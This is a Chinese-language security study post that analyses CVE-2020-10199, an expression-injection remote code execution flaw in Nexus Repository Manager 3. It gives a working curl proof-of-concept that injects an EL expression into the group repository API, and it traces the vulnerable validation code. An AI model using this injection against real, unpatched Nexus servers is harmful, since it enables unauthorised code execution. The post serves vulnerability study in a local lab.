针对 Java Web 安全的学习,回顾一下今年的 Nexus Repository Manager 3 远程命令执行漏洞,该漏洞同样属于表达式注入的范畴。

环境搭建

参照 https://github.com/threedr3am/learnjavabug/tree/master/nexus/CVE-2020-10199 搭建漏洞环境。环境搭建完成后,登录账号,获得 CSRF token 和 Cookie 后即可对漏洞进行利用。

利用 poc 进行测试,可以看到报错信息中存在 A369,很明显我们的 poc 执行成功,相应的表达式被计算。

$ curl --location --request POST 'http://127.0.0.1:8081/service/rest/beta/repositories/go/group' \
--header 'Accept:  */*' \
--header 'Accept-Encoding:  gzip, deflate' \
--header 'Accept-Language:  zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' \
--header 'Connection:  keep-alive' \
--header 'Content-Type:  application/json' \
--header 'Cookie:  NX-ANTI-CSRF-TOKEN=0.09815809621167193; NXSESSIONID=7e342efe-c4a5-4931-953a-4680e204b320' \
--header 'Host:  127.0.0.1:8081' \
--header 'NX-ANTI-CSRF-TOKEN:  0.09815809621167193' \
--header 'Origin:  http://127.0.0.1:8081' \
--header 'Referer:  http://127.0.0.1:8081/' \
--header 'User-Agent:  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36' \
--header 'X-Nexus-UI:  true' \
--header 'X-Requested-With:  XMLHttpRequest' \
--header 'Content-Type: application/json' \
--data-raw '{
  "name": "internal",
  "online": true,
  "storage": {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group": {
    "memberNames": ["$\\A{3+33+333}"]
  }
}'
# output
[ {
  "id" : "FIELD memberNames",
  "message" : "Member repository does not exist: A369"
} ]%

漏洞分析

问题的核心还是 ConstraintViolationFactory 这个类出了问题:

package org.sonatype.nexus.validation;

import java.lang.annotation.Documented;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;

import javax.inject.Inject;
import javax.inject.Named;
import javax.inject.Provider;
import javax.inject.Singleton;
import javax.validation.Constraint;
import javax.validation.ConstraintValidatorContext;
import javax.validation.ConstraintValidatorContext.ConstraintViolationBuilder;
import javax.validation.ConstraintValidatorContext.ConstraintViolationBuilder.NodeBuilderCustomizableContext;
import javax.validation.ConstraintViolation;
import javax.validation.Payload;
import javax.validation.Validator;

import org.sonatype.goodies.common.ComponentSupport;

import static com.google.common.base.Preconditions.checkNotNull;
import static java.lang.annotation.ElementType.TYPE;
import static java.lang.annotation.RetentionPolicy.RUNTIME;

/**
 * Factory of {@link ConstraintViolation}s to be used (rarely) for manual validation.
 *
 * @since 3.0
 */
@Named
@Singleton
public class ConstraintViolationFactory
    extends ComponentSupport
{
  private final Provider<Validator> validatorProvider;

  @Inject
  public ConstraintViolationFactory(final Provider<Validator> validatorProvider) {
    this.validatorProvider = checkNotNull(validatorProvider);
  }

  /**
   * Create a violation with specified path and message.
   *
   * @param path    violation path
   * @param message violation message
   * @return created violation
   */
  public ConstraintViolation<?> createViolation(final String path, final String message) {
    checkNotNull(path);
    checkNotNull(message);
    return validatorProvider.get().validate(new HelperBean(path, message)).iterator().next();
  }

  /**
   * Bean passing path/message.
   */
  @HelperAnnotation
  private static class HelperBean
  {
    private final String path;

    private final String message;

    public HelperBean(final String path, final String message) {
      this.path = path;
      this.message = message;
    }

    public String getPath() {
      return path;
    }

    public String getMessage() {
      return message;
    }
  }

  /**
   * Annotation to trigger validation.
   *
   * @since 3.0
   */
  @Target({TYPE})
  @Retention(RUNTIME)
  @Constraint(validatedBy = HelperValidator.class)
  @Documented
  private @interface HelperAnnotation
  {
    String message() default "";

    Class<?>[] groups() default {};

    Class<? extends Payload>[] payload() default {};
  }

  /**
   * {@link HelperAnnotation} validator.
   */
  private static class HelperValidator
      extends ConstraintValidatorSupport<HelperAnnotation, HelperBean>
  {
    @Override
    public boolean isValid(final HelperBean bean, final ConstraintValidatorContext context) {
      context.disableDefaultConstraintViolation();

      // build a custom property path
      ConstraintViolationBuilder builder = context.buildConstraintViolationWithTemplate(bean.getMessage());
      NodeBuilderCustomizableContext nodeBuilder = null;
      for (String part : bean.getPath().split("\\.")) {
        if (nodeBuilder == null) {
          nodeBuilder = builder.addPropertyNode(part);
        }
        else {
          nodeBuilder = nodeBuilder.addPropertyNode(part);
        }
      }
      if (nodeBuilder != null) {
        nodeBuilder.addConstraintViolation();
      }

      return false;
    }
  }
}

可以看到这个类使用了 buildConstraintViolationWithTemplate 函数,而参考知道创宇这篇博文的总结,该函数其实是具有风险的:

在跟踪调试了CVE-2018-16621CVE-2020-10204之后,感觉buildConstraintViolationWithTemplate这个keyword可以作为这个漏洞的根源,因为从调用栈可以看出这个函数的调用处于Nexus包与hibernate-validator包的分界,并且计算器的弹出也是在它之后进入hibernate-validator的处理流程,即buildConstraintViolationWithTemplate(xxx).addConstraintViolation(),最终在hibernate-validator包中的ElTermResolver中通过valueExpression.getValue(context)完成了表达式的执行

继续阅读代码,可以看到 buildConstraintViolationWithTemplate 函数会被 HelperValidator isValid 函数调用,而 HelperValidator 会被注解到类 HelperAnnotation上,而 HelperAnnotation 又被注解到了HelperBean 上。追踪定位 HelperBean,可以看到在 ConstraintViolationFactory.createViolation 方法中使用到了 HelperBean, 最终对 ConstraintViolationFactory.createViolation 追踪定位引用:

X-Ref

最后我们 poc 的利用点就在 src/main/java/org/sonatype/nexus/repository/rest/api/AbstractGroupRepositoriesApiResource.java 这个文件内的 validateGroupMembers 函数,该函数会调用 createViolation 函数:

public abstract class AbstractGroupRepositoriesApiResource<T extends GroupRepositoryApiRequest>
    extends AbstractRepositoriesApiResource<T>
{
  private final ConstraintViolationFactory constraintViolationFactory;

  private final RepositoryManager repositoryManager;

  @Inject
  public AbstractGroupRepositoriesApiResource(
      final AuthorizingRepositoryManager authorizingRepositoryManager,
      final GroupRepositoryApiRequestToConfigurationConverter<T> configurationAdapter,
      final ConstraintViolationFactory constraintViolationFactory,
      final RepositoryManager repositoryManager)
  {
    super(authorizingRepositoryManager, configurationAdapter);
    this.constraintViolationFactory = checkNotNull(constraintViolationFactory);
    this.repositoryManager = checkNotNull(repositoryManager);
  }

  @POST
  @RequiresAuthentication
  @Validate
  public Response createRepository(final T request) {
    validateGroupMembers(request);
    return super.createRepository(request);
  }

  @PUT
  @Path("/{repositoryName}")
  @RequiresAuthentication
  @Validate
  public Response updateRepository(
      final T request,
      @PathParam("repositoryName") final String repositoryName)
  {
    validateGroupMembers(request);
    return super.updateRepository(request, repositoryName);
  }

  private void validateGroupMembers(T request) {
    String groupFormat = request.getFormat();
    Set<ConstraintViolation<?>> violations = Sets.newHashSet();
    Collection<String> memberNames = request.getGroup().getMemberNames();
    for (String repositoryName : memberNames) {
      Repository repository = repositoryManager.get(repositoryName);
      if (nonNull(repository)) {
        String memberFormat = repository.getFormat().getValue();
        if (!memberFormat.equals(groupFormat)) {
          violations.add(constraintViolationFactory.createViolation("memberNames",
              "Member repository format does not match group repository format: " + repositoryName));
        }
      }
      else {
        violations.add(constraintViolationFactory.createViolation("memberNames",
            "Member repository does not exist: " + repositoryName));
      }
    }
    maybePropagate(violations, log);
  }
}

由于该类是抽象类,我们需要继续分析实现的子类,可以看到 src/main/java/org/sonatype/nexus/repository/golang/rest/GolangGroupRepositoriesApiResource.java,因此我们的攻击基于该类展开。

poc 可以借鉴参考链接中相关博文提供的 poc,或者是借鉴 https://github.com/zhzyker/exphub/blob/master/nexus/cve-2020-10199_poc.py

参考链接